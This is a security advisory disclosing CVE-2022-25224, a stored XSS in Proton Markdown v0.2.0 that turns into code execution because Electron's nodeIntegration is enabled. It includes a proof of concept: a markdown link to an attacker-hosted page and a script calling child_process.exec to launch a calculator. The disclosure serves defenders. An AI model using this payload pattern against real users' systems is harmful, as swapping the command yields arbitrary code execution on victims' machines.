Proton v0.2.0 - XSS To RCE

Summary

NameProton v0.2.0 - XSS To RCE
Code nameLennon
ProductProton Markdown
Affected versionsVersion 0.2.0
StatePublic
Release date2022-05-17

Vulnerability

KindXSS to RCE
Rule010. Stored cross-site scripting (XSS)
RemoteNo
CVSSv3 VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
CVSSv3 Base Score7.1
Exploit availableNo
CVE ID(s)CVE-2022-25224

Description

Proton v0.2.0 allows an attacker to create a malicious link inside a markdown file. When the victim clicks the link, the application opens the site in the current frame allowing an attacker to host JavaScript code in the malicious link in order to trigger an XSS attack. The nodeIntegration configuration is set to on which allows the webpage to use NodeJs features, an attacker can leverage this to run OS commands.

Proof of Concept

Steps to reproduce

  1. Create a markdown file with the following content.

    [Click me!!!](http://192.168.1.67:8002/rce.html)
    
  2. Host the rce.html file with the following content on a server controlled by the attacker.

     <script>
         require('child_process').exec('calc');
     </script>
    
  3. Send the markdown file to the victim. When the victim clicks the markdown link the site will be open inside electron and the JavaScript code will spawn a calculator.

System Information

  • Version: Proton v0.2.0.
  • Operating System: Windows 10.0.19042 N/A Build 19042.
  • Installer: Proton.Setup.0.2.0.exe

Exploit

There is no exploit for the vulnerability but can be manually exploited.

Mitigation

By 2022-05-17 there is not a patch resolving the issue.

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.

References

Vendor page https://github.com/steventhanna/proton/

Timeline

Time-lapse-logo

2022-04-29

Vulnerability discovered.

Time-lapse-logo

2022-04-29

Vendor contacted.

Time-lapse-logo

2022-05-17

Public Disclosure.